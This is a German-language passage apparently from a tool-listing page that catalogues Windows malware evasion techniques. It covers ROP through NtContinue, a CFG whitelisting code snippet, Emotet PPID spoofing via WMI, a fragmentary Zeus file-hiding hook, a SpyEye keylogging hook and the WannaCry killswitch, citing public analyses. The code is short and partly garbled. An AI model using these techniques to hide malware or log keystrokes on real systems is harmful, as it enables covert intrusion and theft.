    - Ein ROP mit der `CONTEXT`-Struktur benötigt `RtlCaptureContext`, um den aktuellen Kontext abzurufen, und `NtContinue`, um die Ausführung des ROP mit der `CONTEXT`-Struktur als Parameter fortzusetzen, gefüllt mit den richtigen Funktionsargumenten für die richtigen Register. Du kannst dein ROP auch in Assembly aufbauen, wenn du möchtest.
    
    ### CFG-Umgehung mit SetProcessValidCallTargets
    
    Das ist kein echter Bypass, aber es setzt die Funktion, die du in deinem ROP verwendest (d. h. `NtContinue`), auf die Whitelist.```c
    CFG_CALL_TARGET_INFO Cfg = { 0 };
    
    Cfg.Offset = ( ULONG_PTR )pAddress - ( ULONG_PTR )Mbi.BaseAddress;
    Cfg.Flags  = CFG_CALL_TARGET_VALID;
    
    SetProcessValidCallTargets( ( HANDLE )-1,  Mbi.BaseAddress, Mbi.RegionSize, 1, &Cfg );
    

    Malware/Fortgeschrittene Techniken

    Emotet PPID Spoofing

    Diese Technik wurde in der bekannten Malware Emotet entdeckt. Um einen neuen PowerShell-Prozess zu starten (der dazu gedacht ist, eine Nutzlast auszuführen), verwendet sie die COM-API mit einer WMI-Instanz. Mit diesem Trick wird der PowerShell-Prozess als Kindprozess des WMIPrvSE-Prozesses erzeugt, was weitaus weniger verdächtig ist, als von einer verdächtigen exe oder sogar einer Word-Datei erzeugt zu werden.

    Versteckte Dateien der Zeus-Malware

    Die bekannte Zeus-Malware verwendet einen ziemlich genialen Trick, um ihre Protokolle (Tastatureingaben, Passwörter usw.) auf dem kompromittierten System zu verstecken. Sie setzt einen Hook auf die Funktion NtQueryDirectoryFile(), um die angezeigten Ergebnisse zu filtern.```cpp typedef struct _FILE_NAMES_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; ULONG FileNameLength; WCHAR FileName[1]; } FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;

    if (file_matches) {

    // Check for end of list if (pCurrentFileNames->NextEntryOffset == 0) { // Hide current file if (pPrev) pPrevFileNames->NextEntryOffset = 0; else return STATUS_NO_SUCH_FILE;

    root@kitploit:~
    Quelle : https://ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf
    
    
    ## SpyEye-Keylogger-Hooking-Technik
    
    Die SpyEye-Malware hookt die ```TranslateMessage()```-Funktion, um Tastatureingaben zu speichern : die Hook-Prozedur verwendet die ```GetKeyboardState```-Funktion, um das eingegebene Zeichen zu einem 20000-Byte-Puffer hinzuzufügen.
    
    Quelle : https://ioactive.com/pdfs/ZeusSpyEyeBankingTrojanAnalysis.pdf
    
    ## Wannacry KillSwitch
    
    Die Wannacry-Ransomware verwendete eine Killswitch-URL, die vor der Ausführung der Haupt-Payload aufgelöst wurde. Nachdem diese Domain registriert wurde, wurden alle Wannacry-Samples deaktiviert. Diese Technik wurde hier beschrieben : https://www.malwaretech.com/2017/05/how-to-accidentally-stop-a-global-cyber-attacks.html
    Lustiger Fakt: Diese Domain stand im Klartext, ohne jede Verschleierung. Ziemlich lustig:)
    
    Tool herunterladen